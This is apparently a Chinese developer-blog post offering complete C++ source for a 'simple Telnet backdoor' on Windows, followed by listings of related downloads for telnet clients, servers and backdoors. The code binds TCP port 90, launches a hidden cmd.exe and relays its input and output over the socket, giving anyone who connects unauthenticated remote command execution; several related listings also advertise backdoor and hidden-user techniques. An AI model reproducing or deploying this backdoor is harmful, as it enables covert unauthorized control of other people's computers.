`
宋科明
  • 浏览: 101576 次
  • 性别: Icon_minigender_1
  • 来自: 深圳
社区版块
存档分类
最新评论

简易Telnet后门源代码

阅读更多

////////////////////////////////////////////////////////////////////////////////
//
// Telnet Server.
//
// File : Tini2.cpp
/////////VC 6.0编译通过///////////////////////////////////
#include
#include
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "kernel32.lib")


#define PORT 90

SOCKET ServerSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;
u_char varA,varB;

DWORD WINAPI ThreadFuncA( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD nByteToWrite, nByteWritten;
char recv_buff[1024];

pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadPipe,
&hWriteFile,
&pipeattr,
0);

varA = 1;
while(true)
{
Sleep(250);
nByteToWrite = recv(ClientSocket,
recv_buff,
1024,
0);
WriteFile(hWriteFile,
recv_buff,
nByteToWrite,
&nByteWritten,
NULL);
}
return 0;
}

DWORD WINAPI ThreadFuncB( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD len;
char send_buff[25000];

pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;

CreatePipe(&hReadFile,
&hWritePipe,
&pipeattr,
0);

varB = 1;
while (true)
{
ReadFile(hReadFile,
send_buff,
25000,
&len,
NULL);

send(ClientSocket,
send_buff,
len,
0);
}
return 0;
}

void main()
{
WSADATA WSAData;
struct sockaddr_in RemoteAddr;
int nRetCode;
DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;
OSVERSIONINFO osvi;
PROCESS_INFORMATION processinfo;
STARTUPINFO startinfo;

WSAStartup(MAKEWORD(2,2),&WSAData);
ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
RemoteAddr.sin_family = AF_INET;
RemoteAddr.sin_port = htons(PORT);
RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;

bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));
listen(ServerSocket, 5);

varA = 0;
varB = 0;
CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);
CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);

do{
Sleep(250);
}while((varA || varB) == 0);

GetStartupInfo(&startinfo);
startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput = hReadPipe;
startinfo.hStdError = hWritePipe;
startinfo.hStdOutput = hWritePipe;
startinfo.wShowWindow = SW_HIDE;

osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

GetVersionEx(&osvi);
char szAPP[256];
GetSystemDirectory(szAPP,MAX_PATH+1);

if(osvi.dwPlatformId == 2)
{
strcat(szAPP,"\\cmd.exe");
if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0,
NULL, NULL, &startinfo, &processinfo) == 0)
{
printf ("CreateProcess Error!\n");
return;
}
}
else
{
strcat(szAPP,"\\command.exe");
CreateProcess(NULL,szAPP,0,0,true,0,0,0,&startinfo,&processinfo);
}

while (true)
{
ClientSocket = accept(ServerSocket, NULL, NULL);
Sleep(250);
}
}

分享到:
评论

相关推荐

    telnet后门实现代码

    telnet后门实现代码,想学习的兄弟赶快下了

    Telnet客户端源代码

    标题“Telnet客户端源代码”指的是这个压缩包中包含了一段用于实现Telnet客户端功能的源代码。在计算机网络中,Telnet是一种协议,它允许用户通过Internet远程登录到另一台计算机上,从而可以像在本地机器上一样操作...

    linux下telnet源代码

    在本文中,我们将深入探讨telnet的实现原理、相关技术以及如何通过源代码学习Linux程序设计。 首先,telnet协议基于应用层的TCP/IP模型,它使用TCP作为传输层协议,提供一种无结构的数据传输方式。当用户在本地...

    telnet程序源代码

    **telnet程序源代码详解** Telnet是一种网络协议,它允许用户通过Internet远程登录到另一台计算机上,就像坐在那台计算机前一样操作。对于初学者来说,理解telnet程序的源代码是学习网络通信、协议实现以及客户端-...

    telnet客户端的源代码

    “telnet客户端的源代码”指的是提供了实现Telnet协议的客户端程序的原始编程代码。Telnet是一种网络协议,允许用户通过Internet远程登录到其他计算机系统,进行命令行交互。这里的源代码是开发者可以查看、修改和...

    Telnet 源代码

    Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码...

    Telnet Linux 源代码

    【标题】"Telnet Linux 源代码"指的是在Linux操作系统环境下实现的Telnet客户端的原始编程代码。Telnet是一种网络协议,它允许用户通过Internet或其他网络从一个远程终端连接到另一台计算机,进行交互式的命令行操作...

    telnet 源代码

    **标题:“telnet 源代码”** **描述:**“一个很好用的telnet程式,可供大家参考,期望能对使用者带来便利。” **标签:**“一个很好用的telnet”、“方便大家使用参考” **文件名称列表:**“opentelnet源码” ...

    SSH TELNET C 源代码

    标题 "SSH TELNET C 源代码" 提到的核心技术是 SSH 和 TELNET,它们都是网络协议,用于远程登录和控制服务器。C 语言是实现这些协议的基础,而 "WINDOWS窗体的构建" 表明源代码可能包含Windows GUI(图形用户界面)...

    C++版.Telnet服务器源代码.rar

    在给定的资源“C++版.Telnet服务器源代码.rar”中,我们可以深入探讨C++编程、服务器开发以及Telnet协议的相关知识。 首先,C++源代码是程序设计的基础,它是由程序员编写并可以被编译器转换成机器可执行的指令的...

    商业编程-源码-Telnet服务器源代码.zip

    标题"商业编程-源码-Telnet服务器源代码.zip"表明这是一个包含Telnet服务器源代码的压缩文件,适用于商业编程环境。这暗示了我们可能正在处理一个用于开发或学习网络通信协议的项目,特别是涉及到远程登录功能的实现...

    Telnet服务端和客户端源代码

    Telnet服务端和客户端源代码是网络通信领域中的基础组件,它们主要用于实现远程登录功能。在本文中,我们将深入探讨Telnet协议的工作原理、服务端与客户端的源码实现及其相关知识点。 首先,让我们理解什么是Telnet...

    教你建立telnet后门和隐藏用户

    在探讨如何创建telnet后门和超级隐藏用户之前,必须明确指出,此类操作涉及网络安全的敏感领域,不当使用可能导致非法入侵、数据泄露等严重后果,违反相关法律法规。因此,本文旨在提供理论上的技术解析,强调合法...

    双管道后门源代码,用telnet进行攻击

    之前传了一个压缩包,居然有密码,而且我自己都解不开,重新传一个,就不收分了

    VC编写的telnet客户端源代码(基于CEditView)

    在本文中,我们将深入探讨如何使用Microsoft Visual C++(简称VC)编写一个基于CEditView的telnet客户端源代码,以及在这个过程中涉及的关键知识点。首先,让我们了解什么是telnet客户端和CEditView。 **Telnet...

    telnet源代码范例 BBS程序开发

    本文将深入探讨`telnet`源代码范例,以及如何利用它来开发BBS程序和其他相关应用。 `telnet`协议基于TCP/IP,允许用户通过Internet连接到远程主机,并执行该主机上的命令。它的工作原理是通过建立一个虚拟终端,使...

    delphi telnet 工具及源代码

    本资源提供了一个基于Delphi的Telnet工具及其源代码,这对于学习如何在Delphi中实现远程登录功能以及进行网络通信具有很高的价值。 首先,让我们深入理解什么是Telnet。Telnet是一种协议,允许用户通过Internet或...

    telnet.rar telnet 协议 客户端 源代码 java

    《telnet协议与Java客户端源代码解析》 在IT领域,网络通信协议是构建网络应用的基础,其中telnet协议作为一款历史悠久的远程登录协议,它为用户提供了在不同主机之间进行交互的能力。本文将深入探讨telnet协议的...

    Telnet源代码

    **标题:“Telnet源代码”** 在IT领域,Telnet是一种古老的远程登录协议,它允许用户通过网络在一台远程计算机上执行命令。源代码是指编程语言编写的原始指令集合,可以被编译或解释成可执行文件。"Telnet源代码...

    telnet源代码肥水不外流

    《telnet源代码肥水不外流》 在IT领域,了解并研究源代码是提升技术能力的重要途径。本文将围绕“telnet”这一主题,深入探讨telnet服务器的源代码,通过分析`telnetserver.c`、`pty_fun.h`、`pty_fun.c`以及`...

Global site tag (gtag.js) - Google Analytics